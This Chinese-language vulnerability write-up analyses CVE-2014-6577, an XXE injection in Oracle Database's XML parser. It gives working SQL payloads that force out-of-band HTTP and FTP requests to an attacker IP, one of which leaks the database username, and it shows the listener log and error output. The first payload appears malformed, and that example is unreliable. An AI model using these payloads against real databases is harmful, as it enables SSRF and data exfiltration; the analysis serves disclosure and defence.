在這篇文中,我們將共同分析一下Oracle數據庫的XXE注入漏洞(CVE-2014-6577),Oracle公司1月20日發布了針對該漏洞的相關補丁。
有關XXE的相關知識,可以查看安全脈搏站內的另一篇文章《未知攻焉知防——XXE漏洞攻防》。
漏洞描述
Oracle數據庫的XML解析器模塊容易受到XML外部實體(XML External Entity , XXE)注入。
受影響版本:11.2.0.3, 11.2.0.4, 12.1.0.1 和12.1.0.2
所需權限:創建會話(CREATE SESSION)
技術細節
因為Oracle中XML解析器的安全特性,外模式得到了解決,但是並不解析。
這可以防止某些XXE注入攻擊,例如讀取遠程數據庫服務器上的本地文件。
然而,攻擊者可以發送精心編制的SQL查詢來觸發XML解析器,誘騙服務器通過HTTP或者FTP連接一個遠程資源。
這可能會因帶外通道而導致數據泄露、遠程內部系統上執行端口掃描、執行服務器端請求偽造(SSRF)攻擊或會引起拒絕服務攻擊(DoS)。
易受攻擊的URI handler:
- http:
- ftp:
0x01
Oracle的XML解析器可以通過調用針對xml類型對象的extractvalue()函數來觸發。下面是一個簡單的示例,該示例利用一個簡單的XXE注入payload來構造查詢語句:
select extractvalue(xmltype('<!ENTITY xxe SYSTEM "etc/passwd">]>'|| '&' ||'xxe;'),'/l') from dual;
執行上面的查詢語句將會引起如下錯誤:
ORA-31001: Invalid resource handle or path name "/etc/passwd" ORA-06512: at "SYS.XMLTYPE", line 310 ORA-06512: at line 1 31001. 00000 - "Invalid resource handle or path name \"%s\"" *Cause: An invalid resource handle or path name was passed to the XDB hierarchical resolver. *Action: Pass a valid resouce handle or path name to the hierarchical resolver.
這是因為文件URI處理程序被轉換成了一個XDB庫路徑。
0x02
然而,換成HTTP URI處理程序來進行查詢將會產生另一個問題。示例查詢代碼如下:
select extractvalue(xmltype('<!ENTITY xxe SYSTEM "http://IP/test">]>'|| '&' ||'xxe;'),'/l') from dual;
數據庫服務器錯誤如下:
ORA-31020: The operation is not allowed, Reason: For security reasons, ftp and http access over XDB repository is not allowed on server side ORA-06512: at "SYS.XMLTYPE", line 310 ORA-06512: at line 1 31020. 00000 - "The operation is not allowed, Reason: %s" *Cause: The operation attempted is not allowed *Action: See reason and change to a valid operation.
這個錯誤表明,FTP和HTTP URI處理程序可能被XML解析器接受。注意,上面的查詢語句不會發送任何HTTP請求到攻擊者的系統。
0x03
我們看下另一個XXE注入payload,這次引用的是一個參數實體,而不是文檔實體:
select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://IP/test"> %remote; %param1;]>'),'/l') from dual;
執行該查詢語句時,數據庫服務器會產生上述同樣的錯誤(ORA-31020)。不過,這次成功地誘騙服務器提交了一個對資源“test”的HTTP請求。下面是攻擊者服務器上的HTTP日志:
ncat -lvp 80 Ncat: Version 6.25 ( http://nmap.org/ncat ) Ncat: Listening on :::80 Ncat: Listening on 0.0.0.0:80 Ncat: Connection from DB_IP. Ncat: Connection from DB_IP:27320. GET /test HTTP/1.0 Host: DB_IP Content-Type: text/plain; charset=utf-8
傳統上來說,為了迫使服務器向外部資源發送HTTP請求,攻擊者需要一定權限來訪問UTL_HTTP包。因為extractvalue()對所有數據庫用戶都可用,故XXE注入帶來了另一種方式來觸發帶外HTTP請求,而這種方法的實現不需要擁有上述所提權限。
0x04
FTP URI處理程序(FTP:)也可以用來觸發Oracle的XML解析器。下面給出查詢語句示例,該示例發送數據庫用戶名來作為FTP用戶名:
select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "ftp://'||user||':bar@IP/test"> %remote; %param1;]>'),'/l') from dual;
數據庫服務器提示錯誤(注意錯誤碼與上面的不同,因為提供的憑證不能用於登錄遠程FTP服務器)如下:
ORA-31011: XML parsing failed ORA-19202: Error occurred in XML processing LPX-00202: could not open "ftp://SYSTEM:bar@IP/test" (error 402) Error at line 1 ORA-06512: at "SYS.XMLTYPE", line 310 ORA-06512: at line 1 31011. 00000 - "XML parsing failed" *Cause: XML parser returned an error while trying to parse the document. *Action: Check if the document to be parsed is valid.
從下圖中可看到,數據庫用戶名作為FTP用戶名被包含在發送給攻擊者服務器的FTP流量中: